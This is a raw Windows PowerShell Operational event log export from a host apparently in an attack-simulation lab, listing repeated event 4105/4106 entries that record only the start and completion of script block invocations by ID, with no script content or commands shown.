Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031829
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031828
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031827
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031826
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031810
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031809
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031804
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031803
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
